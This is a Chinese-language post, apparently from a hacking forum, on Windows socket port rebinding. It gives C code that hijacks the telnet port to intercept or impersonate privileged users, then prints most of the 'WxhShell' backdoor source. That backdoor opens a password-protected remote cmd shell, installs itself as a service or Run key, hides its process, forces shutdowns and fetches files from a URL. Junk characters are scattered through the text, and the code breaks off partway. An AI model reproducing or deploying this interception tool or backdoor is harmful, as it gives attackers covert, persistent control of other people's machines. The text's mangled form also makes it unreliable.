在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2-'_Nwkl* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
"#E
Z H}r]j\ saddr.sin_family = AF_INET;
h>bjG 2;sTSGDG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
d[?RL&hJO 4vL\t
uoz bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
O + aK#eF rS>.!DiYr, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1#N`elm 7D<Aa?cv_l 这意味着什么?意味着可以进行如下的攻击:
rCa]T@= Oey
Ph9^V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>aJmRA-C} C@*x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!!L'{beF 6|p8_[e` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jlb8<xIC] _i ztQ78 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
p8 S~`fjV 0i}.l\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bDDP:INm. Y"t|0dO%b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(^~a1@f,J K_+M?ap_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<,DMD w(bvs&`{uC #include
F7<M{h5s #include
+On2R&m #include
_8$xsj4_ #include
A@~9r9Uf DWORD WINAPI ClientThread(LPVOID lpParam);
jk`U7G* int main()
IsT}T}p,t {
.~I:Hcf/ WORD wVersionRequested;
:Jyr^0`J DWORD ret;
Pm P&Qje7 WSADATA wsaData;
GdC=>\] BOOL val;
<!t;[ie?y SOCKADDR_IN saddr;
!QdX+y<re SOCKADDR_IN scaddr;
t~qSiHw int err;
5xr2 SOCKET s;
c@,1?q1bv SOCKET sc;
Fdl0V:< int caddsize;
f]10^y5& HANDLE mt;
yx#!2Z0hw DWORD tid;
V+y|C[A
F
wVersionRequested = MAKEWORD( 2, 2 );
gGNo!'o err = WSAStartup( wVersionRequested, &wsaData );
b:9"nALgC if ( err != 0 ) {
KOR*y(* 8 printf("error!WSAStartup failed!\n");
d3a!s return -1;
0<uL0FOT }
0;a1 0b saddr.sin_family = AF_INET;
r!w4Br0 [6K[P3UZx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4NRj>y E
@r &K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Lwtp,.)pR saddr.sin_port = htons(23);
0xi2VN"X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`!X8Cn
{
IRLAsb3 printf("error!socket failed!\n");
"$5cKbJ return -1;
QX?moW6UW }
y z3=# val = TRUE;
7&etnQJ{ //SO_REUSEADDR选项就是可以实现端口重绑定的
CNV^,`FX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Bs3&yEq( {
on
hLhrZ printf("error!setsockopt failed!\n");
bfb9A+]3' return -1;
zBca$Vp }
hH$9GL{H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>8>s
K(S] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z!q$d/1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Jl\U~i \1?'JdN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`+."X1 {
-m,Y6 ret=GetLastError();
j7Zv"Vq@ printf("error!bind failed!\n");
h+_:zWU return -1;
?w'03lr% }
P7X3>5<;q listen(s,2);
Z9MU%*N while(1)
H9;IA> {
uQ
]ZMc caddsize = sizeof(scaddr);
yz>S($u //接受连接请求
1.,KN:qe sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\0i0#Dt9 if(sc!=INVALID_SOCKET)
;fQIaE&H {
"\lOOp^- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
v!DU ewz if(mt==NULL)
y]! #$C / {
Lf.Ia*R: printf("Thread Creat Failed!\n");
>C{8}Lg-. break;
6*1f -IbV }
+u |SX/C }
lP4s"8E`h CloseHandle(mt);
c8zok `\P_ }
ifWQwS/,a closesocket(s);
"J&WH~8+N WSACleanup();
TrgKl2xfx return 0;
m1K4_a)^[ }
hBz>E 4mEv DWORD WINAPI ClientThread(LPVOID lpParam)
.i;?8? {
kTzO4s? SOCKET ss = (SOCKET)lpParam;
[@pumH> SOCKET sc;
`S3)uV]I unsigned char buf[4096];
0}`
-<( SOCKADDR_IN saddr;
`Y!8,(5# long num;
=(R3-['QIb DWORD val;
%b h:c5 DWORD ret;
<Pf4[q&wM //如果是隐藏端口应用的话,可以在此处加一些判断
=~,2E;#X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`.~*pT*u saddr.sin_family = AF_INET;
hVz]', saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
gLFSZ saddr.sin_port = htons(23);
D#,A_GA{A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`PLax@]2 {
XE0b9q954 printf("error!socket failed!\n");
&\ad.O/Q return -1;
U.Z5;E0: }
Aj/EaIq val = 100;
;B }4pv} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lN"@5(5% {
?{L'd ret = GetLastError();
hq&9S{Ep return -1;
I!lR 7% }
M`9|8f,!a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|<8Fa%!HHc {
VV[Fb9W ; ret = GetLastError();
M4
})) return -1;
4UPxV"H }
RA){\~@wC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6#:V3 ; {
j5smmtM`s printf("error!socket connect failed!\n");
Vvv;m 5. closesocket(sc);
xMpgXB!' closesocket(ss);
fC}uIci return -1;
%n,_^voE }
DHvZ:)aT} while(1)
A&jR-%JG {
$EdL^Q2KAy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fU.z_T[@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
(_N(K`4#W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
7pyaHe num = recv(ss,buf,4096,0);
s|[qq7 if(num>0)
6!Mm") send(sc,buf,num,0);
qd'Z|'j else if(num==0)
ts,V+cEA break;
bx-:aC)]2 num = recv(sc,buf,4096,0);
_$ 8:\[J if(num>0)
z63y8 send(ss,buf,num,0);
Da)_O JYE else if(num==0)
@L 6)RF break;
!@arPN$ }
tu;Pm4q7 closesocket(ss);
<a+@4d; closesocket(sc);
B<G,{k return 0 ;
w)R5@
@C* }
s._,IW;
g">^#^hBE ZP0D)@8 ==========================================================
+KTHZpp!c2 .jbxA2 下边附上一个代码,,WXhSHELL
.E7"Lfs- alsD TQ' ==========================================================
\IqCC h n7/&NiHxv/ #include "stdafx.h"
I%<pS,p niyxZ<Z #include <stdio.h>
0<f.r~ #include <string.h>
00r7trZW^ #include <windows.h>
=<K6gC27 #include <winsock2.h>
Bf[`o<c #include <winsvc.h>
&2ty++gC #include <urlmon.h>
;R@D sfy}J1xIL #pragma comment (lib, "Ws2_32.lib")
Bob-qCBV #pragma comment (lib, "urlmon.lib")
>4+KEK h$6~3^g:P #define MAX_USER 100 // 最大客户端连接数
0x^lHBYc #define BUF_SOCK 200 // sock buffer
Jy('tfAHp #define KEY_BUFF 255 // 输入 buffer
e:rbyzf# ]8'PLsS9<w #define REBOOT 0 // 重启
t4hc X[ #define SHUTDOWN 1 // 关机
&Du S* T_9o0Q k #define DEF_PORT 5000 // 监听端口
mGJRCK_ "];@N!dA #define REG_LEN 16 // 注册表键长度
z'"Y+EWN #define SVC_LEN 80 // NT服务名长度
[1z.JfC :S :"@-Bcln // 从dll定义API
8L6b:$Y3@C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kN#3HI]8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5;HCNwX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{&6i$4T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pEW~zl NQvI=R-g // wxhshell配置信息
DhsvN&yNM struct WSCFG {
)ac!@slb^7 int ws_port; // 监听端口
+NiCt S char ws_passstr[REG_LEN]; // 口令
/f AAQ7 int ws_autoins; // 安装标记, 1=yes 0=no
K(WKx7Kky^ char ws_regname[REG_LEN]; // 注册表键名
vF[ 4kDHk char ws_svcname[REG_LEN]; // 服务名
hp2$[p6O char ws_svcdisp[SVC_LEN]; // 服务显示名
h b8L[ 4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
y3PrLBTz char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{9^p3Q+:P int ws_downexe; // 下载执行标记, 1=yes 0=no
q)AX*T+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0y+i?y
9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2n-kJl`: O h[<l2fy };
GY^;$ ? {.y_{yWo // default Wxhshell configuration
C46jVl struct WSCFG wscfg={DEF_PORT,
#~.RJ% "xuhuanlingzhe",
Tb8r+~HK 1,
deTD|R "Wxhshell",
dT (i*E\j "Wxhshell",
}u{gQlV "WxhShell Service",
j"VDqDDz "Wrsky Windows CmdShell Service",
"{Y6.)x "Please Input Your Password: ",
8N3y(y0 1,
rI6+St "
http://www.wrsky.com/wxhshell.exe",
p(Osz7K "Wxhshell.exe"
:AI%{EV-L };
ZNL+w4 g=,}j]tl // 消息定义模块
qOnGP{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
l(@c char *msg_ws_prompt="\n\r? for help\n\r#>";
TZ!@IBu char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S_;r!. char *msg_ws_ext="\n\rExit.";
8lA,3'z char *msg_ws_end="\n\rQuit.";
W,_2JqQp char *msg_ws_boot="\n\rReboot...";
@YG-LEh char *msg_ws_poff="\n\rShutdown...";
h ^s8LE3 char *msg_ws_down="\n\rSave to ";
JO90TP
$ I`i"*z char *msg_ws_err="\n\rErr!";
t*u#4I1 char *msg_ws_ok="\n\rOK!";
}Gy M<!: XP?)xDr8 char ExeFile[MAX_PATH];
vJV/3-yX int nUser = 0;
&
d$X: HANDLE handles[MAX_USER];
gFTlP int OsIsNt;
}d;6.~Gw <iGW~COd SERVICE_STATUS serviceStatus;
jp^Sw| SERVICE_STATUS_HANDLE hServiceStatusHandle;
^Xu4N"@ ;Zr7NKs // 函数声明
zgH*B*)bj int Install(void);
4??LK/s* int Uninstall(void);
X>P|-n# int DownloadFile(char *sURL, SOCKET wsh);
^5(d^N int Boot(int flag);
5O
Y5b8 void HideProc(void);
ts=:r int GetOsVer(void);
49c-`[d
L int Wxhshell(SOCKET wsl);
='m%Iq7X void TalkWithClient(void *cs);
z0 #2?o int CmdShell(SOCKET sock);
,CuWQ'H int StartFromService(void);
\k{[HfVvn int StartWxhshell(LPSTR lpCmdLine);
%O<8H7e)V PL3hrI 5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Kpa$1x VOID WINAPI NTServiceHandler( DWORD fdwControl );
D!.1R!(Z w*;"@2y;eY // 数据结构和表定义
`u PLyS. SERVICE_TABLE_ENTRY DispatchTable[] =
6]kBG?m0 {
m]vV.pwv {wscfg.ws_svcname, NTServiceMain},
fFWi
3. {NULL, NULL}
Hrph>v };
#.$y R^P>yk8 // 自我安装
"Aw)0a[j1 int Install(void)
H\\FAOj {
@qj]`}Gx' char svExeFile[MAX_PATH];
|r36iUHZS HKEY key;
Id>4fF:o strcpy(svExeFile,ExeFile);
t8rFn D|Wlq~IpQ // 如果是win9x系统,修改注册表设为自启动
Kfr1k if(!OsIsNt) {
kxJ[Bi# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j0V/\Ep)T< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pd(_ RegCloseKey(key);
tMp!MQ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{*[(j^OE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{ I\og RegCloseKey(key);
SY%y *6[6 return 0;
0y?;o*&U\ }
-B&(&R }
gZ7R^]
k }
UxzF5V5 else {
2Q5 @2jT bv b\G // 如果是NT以上系统,安装为系统服务
z ynu0X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
AX<f$%iqD if (schSCManager!=0)
Y0A(-" {
+@?'dw SC_HANDLE schService = CreateService
uLWu. Vx (
.kn2M&P>= schSCManager,
a#;;0R $ wscfg.ws_svcname,
|5O>7~Tp wscfg.ws_svcdisp,
$~W5! m SERVICE_ALL_ACCESS,
&} `a"tYr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=!xX{o?64 SERVICE_AUTO_START,
D&D6!jz SERVICE_ERROR_NORMAL,
" QiR svExeFile,
PPIO<K 3` NULL,
$?bD55 NULL,
L\E>5G; NULL,
]+W){W=ai NULL,
O=(F46 M NULL
EwA* );
4gsQ:3 if (schService!=0)
*4}NLUVX {
VJ&<6 CloseServiceHandle(schService);
,m5i(WL CloseServiceHandle(schSCManager);
p\lR1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
UU MB"3e strcat(svExeFile,wscfg.ws_svcname);
||awNSt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bvB',yBZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dnU-v7k,{ RegCloseKey(key);
J:Qx5;b; return 0;
/Xb4'Qj }
Y%;X7VxU* }
MJ1qU}+] CloseServiceHandle(schSCManager);
tZz%x?3G }
]rH[+t- }
J&,hC%] %oTBh* K'o return 1;
x5BS|3W$a }
X3kFJ{ F}ATY! // 自我卸载
)`f-qTe int Uninstall(void)
~ILv*v@m {
>19s:+ HKEY key;
\\#D!q* UGy3B) if(!OsIsNt) {
to</ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,.>9$( s RegDeleteValue(key,wscfg.ws_regname);
C9sU^]#F RegCloseKey(key);
Vb\g49\o/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2a
eH^:u RegDeleteValue(key,wscfg.ws_regname);
/}8Au$nA RegCloseKey(key);
,.cR @5qI return 0;
_G/R;N71 }
jgIG";:Q }
1J"I. }
!ZH "$m| else {
$sda'L5^p #NYnZ^6e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
: #CWiq("% if (schSCManager!=0)
"5~?`5Ff {
;'8P/a$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d\]KG(T if (schService!=0)
@ztT1?!e {
S3Gr}N if(DeleteService(schService)!=0) {
@qp6Y_,E[ CloseServiceHandle(schService);
`v``}8tm CloseServiceHandle(schSCManager);
+u0of^}= return 0;
r+E!V'{C }
|xFA} CloseServiceHandle(schService);
~rdS#f&R2 }
ZF[W<Q CloseServiceHandle(schSCManager);
1LRP
R@b^ }
1bCE~,tD }
!6=;dX &|GH@^)@ return 1;
M=pQx$%a }
uhfK\.3 bXF8V // 从指定url下载文件
D!,5j_,j% int DownloadFile(char *sURL, SOCKET wsh)
K}re{y {
|kPgXq6 HRESULT hr;
|7c],SHm char seps[]= "/";
-EP1Rl`\ char *token;
M*gvYo char *file;
ue@/o,C> char myURL[MAX_PATH];
9S@x char myFILE[MAX_PATH];
#&Tm%CvB |nx3x strcpy(myURL,sURL);
xz!0BG token=strtok(myURL,seps);
w)+1^eW while(token!=NULL)
xB Wl|j {
e72Fz#<q file=token;
63=&??4 token=strtok(NULL,seps);
p;}`PW }
$`3yImv+w Z%3CmKdeF GetCurrentDirectory(MAX_PATH,myFILE);
9m$"B*&6G
strcat(myFILE, "\\");
q&-mbWBj strcat(myFILE, file);
P ljPhAce send(wsh,myFILE,strlen(myFILE),0);
#RR;?`,L} send(wsh,"...",3,0);
t"GnmeH
i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,W)DQwAg if(hr==S_OK)
MSS[-} return 0;
?YL JXq else
B.5+!z&7 return 1;
F,~BhKkbV
JHa1lj }
L.'61ZU w gS'/ // 系统电源模块
zFm`e:td int Boot(int flag)
uE')<fVX( {
k37?NoT HANDLE hToken;
p]RQ-0 TOKEN_PRIVILEGES tkp;
&SbdX Q/]~`S if(OsIsNt) {
cmXbkM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d9v66mpJM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<?7qI8 5OT tkp.PrivilegeCount = 1;
/ZV2f3;t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
P-4$Qksx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3=uhy|f! / if(flag==REBOOT) {
gdf0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gxVr1DIkN return 0;
$uTrM8 }
q1:dcxR[ else {
K^fs#7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5`p9Xo>)yW return 0;
yR>P }
j_so s%- }
g]vB\5uA: else {
K{DC{yLu if(flag==REBOOT) {
C;m"W5+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H^n@9U;[K return 0;
wkZwtq }
,gQl_Amvz else {
uxTgK'3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<7U~0@<Y return 0;
b&[".ibN1 }
&!/>B . }
)^o.H~Pv ?m *e$!M0 return 1;
NuR7pjNMZ }
"
7^nRJy p\=T#lb // win9x进程隐藏模块
uG7]s]Wdz; void HideProc(void)
$f3 IO#N {
<)T| HKx ?3BcjD0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
o@L0ET if ( hKernel != NULL )
?P0b/g {
#b;?:.m\= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zz
U,0
L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*zPqXtw!j FreeLibrary(hKernel);
o664b$5nsI }
:%sBY0 yF h}SZ+G/L return;
jXA/G%:[ }
uluAqDz` pCIS82L // 获取操作系统版本
0R)x"4Ww int GetOsVer(void)
p($vM^_<" {
%9>w|%+;U+ OSVERSIONINFO winfo;
$t%IJT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
M5WB.L[@q GetVersionEx(&winfo);
2@tnOs(* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9k;,WU(K< return 1;
aU(.LC else
o C|oh return 0;
s*Qyd{"z }
k)I4m.0a5 7/~=[#]* // 客户端句柄模块
iG54 +] int Wxhshell(SOCKET wsl)
KUU{X~w {
=OO4C SOCKET wsh;
}lp37, struct sockaddr_in client;
Uwkxc DWORD myID;
l3Zi]`@r C%Lr3M;S' while(nUser<MAX_USER)
Nt$4; {
]YI9 int nSize=sizeof(client);
eX#.Zt] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&qg6^& if(wsh==INVALID_SOCKET) return 1;
yx|iZhK0:} y-E'Y=j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q O =5Q if(handles[nUser]==0)
L/rf5||@ closesocket(wsh);
P{A})t7 else
:L@;.s nUser++;
~o_JZ: }
L-`V^{R] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lW|=rq-| x,mt}> return 0;
-6DRX }
`$> Y cS%dTrfo // 关闭 socket
<?B3^z$ void CloseIt(SOCKET wsh)
_3 3 b % {
b_ TI_ closesocket(wsh);
F62 uDyY nUser--;
RWR{jM]V ExitThread(0);
5?$MZaT }
_R ]s1 &7\}Sqp // 客户端请求句柄
wIi(\]Q void TalkWithClient(void *cs)
Dazm8_x {
s\ C ,5 /o4e
n SOCKET wsh=(SOCKET)cs;
SWzqCF char pwd[SVC_LEN];
Chnt)N`/B4 char cmd[KEY_BUFF];
~NIhS! char chr[1];
CqEbQ>? int i,j;
&fB=&jc*j GPLop/6
while (nUser < MAX_USER) {
|j0_^:2r= Q*<KX2O if(wscfg.ws_passstr) {
X:s~w#>R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A2gFY} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j?u1\<m //ZeroMemory(pwd,KEY_BUFF);
_3%$E.Q i=0;
;7s^slVzF while(i<SVC_LEN) {
_{'[Uf/l +m./RlQ{ // 设置超时
eQuw uT fd_set FdRead;
%mss{p!d6 struct timeval TimeOut;
j.] ]VA FD_ZERO(&FdRead);
P0m9($JBD FD_SET(wsh,&FdRead);
%WU=Vy 4 TimeOut.tv_sec=8;
zlEI_th:~ TimeOut.tv_usec=0;
-sA&1n"W&5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
[4#HuO@h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>;9g`d q`p0ul,n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)]q Qgc& pwd
=chr[0]; @@*x/"GJG
if(chr[0]==0xd || chr[0]==0xa) { E\D,=|Mul
pwd=0; Zo2+{a
break; (!fx5&F
} \Ebh6SRp\
i++; b|AjB: G
} 'sZGLgT;m
-KC@M
// 如果是非法用户,关闭 socket .iR<5.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W)ug%@ )
} #EUT"^:d
3\RD%[}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;O)*!yA(GG
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e^N~)Nlj
#"-_ ~
while(1) { KH#z =_
5nib<B%<V
ZeroMemory(cmd,KEY_BUFF); ;!f~
C _he=SV
// 自动支持客户端 telnet标准 =SmU;t>t/
j=0; S}rEQGGR{
while(j<KEY_BUFF) { ahgP"Qz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <k8WnA ~Fl
cmd[j]=chr[0]; T+T)~!{%
if(chr[0]==0xa || chr[0]==0xd) { F1BvDplQ>G
cmd[j]=0; NpGi3>5
break; 8B-PsS|'
} EE]xZz>o
j++; 1/mBp+D
} >[wxZ5))
EoutB Vm
// 下载文件 I*%3E.Z@g
if(strstr(cmd,"http://")) { 7ucm1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mhn1-ma:
if(DownloadFile(cmd,wsh)) @$kO7k0{g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^va+O
else Vp; `!+z"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +mBS&FK
} 1 .@{5f3T
else { `EgX#
H2|'JA#v
switch(cmd[0]) { x7e0&
F^{31iU~CX
// 帮助 'eBD/w5U
case '?': { ~roNe|P
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
)0E_Y@
break; '%/=\Q`
} -cU bIbW
// 安装 *2/qm:gB
case 'i': { tt-ci,X+
if(Install()) MzB.Vvsy%9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <LH6my
else $yU}56(z~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &;?+ ^L>
break; tH; 6Mp;f
} %`pi*/(
// 卸载 ^!
h3#4
case 'r': { Kn$t_7AF^
if(Uninstall()) eb}XooX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q'7.lrKwa>
else 8fi'"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OU` !c[O
break; E8PwA.
} *MfH\X379
// 显示 wxhshell 所在路径 mEYfsO
case 'p': { P%&|?e~D^
char svExeFile[MAX_PATH]; 9[\do@
strcpy(svExeFile,"\n\r"); :I"22EH
strcat(svExeFile,ExeFile); ?99r>01>
send(wsh,svExeFile,strlen(svExeFile),0); [bKc5qp
break; @?J7=}bzz
} kK4+K74B
// 重启 ZYY~A_C
case 'b': { @VHstjos^V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0VQBm^$(
if(Boot(REBOOT)) z2Wblh"_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +fM8
else { G"3KYBN>
closesocket(wsh); AW\uE[kg
ExitThread(0); 2sgp$r
} lAG@nh^
break; wvisu\V
} 4 5wqX h
// 关机 _~tF2`,Y_p
case 'd': { 416}# Mk
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #k/T\PQ0s
if(Boot(SHUTDOWN)) }LS.bQKqi,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`Mk$Y%my
else { |Wck-+}U
closesocket(wsh); ^GYVRD
ExitThread(0); POc<XLZB
} Q;l%@)m+~
break; N!<l~[rc
} x ]}'H
// 获取shell zN5};e}^v
case 's': { Iao?9,NL9O
CmdShell(wsh); IC"ktv bHz
closesocket(wsh); 2h<_?GM\s
ExitThread(0); Iw?f1]
break; A>Qu`%g*
} n>B
,O
// 退出 ?Qd`Vlp7
case 'x': { 6b2h\+AP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !S7?:MJ?p\
CloseIt(wsh); Z$c&Y>@)
break; /g%RIzgW
} 90F.9rh
// 离开 /Dc54Un
case 'q': { `=V1w4J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); U7/
=|Z
closesocket(wsh); SR.xI:}4
WSACleanup(); G3!O@j!7w$
exit(1); K5bR7f:
break; ;H8`^;
} DfGq m-c
} oPBKPGD
} !]7b31$M_
t{s>B]i^_w
// 提示信息 ]!1HN3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OU/3U(%n]e
} -;8 a* F
} OhaoLmA}6
N&G(`]
return; wNl6a9#
} *'-C/
;#Qv
)kS*
// shell模块句柄 v`'Iew }
int CmdShell(SOCKET sock) h(~of(
{ 4/\Ynb.L
STARTUPINFO si; @@R&OR
ZeroMemory(&si,sizeof(si)); &\5bo=5V
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fTX|vy<EMI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U4Y)Jk
PROCESS_INFORMATION ProcessInfo; XgUSJ*
char cmdline[]="cmd"; 3 %r*~#nz
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <WmjjD
return 0; .MDSP/s
} Rq",;,0ZJ
1PWi~1q{Q
// 自身启动模式 3AP=
int StartFromService(void) qKeR}&b
{ D>U(&n
typedef struct Ln+ .$ C
{ pnuwjU-
DWORD ExitStatus; d'Dd66
DWORD PebBaseAddress; X?u=R)uG
DWORD AffinityMask; is%ef
DWORD BasePriority; wUg=jnY
ULONG UniqueProcessId; jC>mDnX
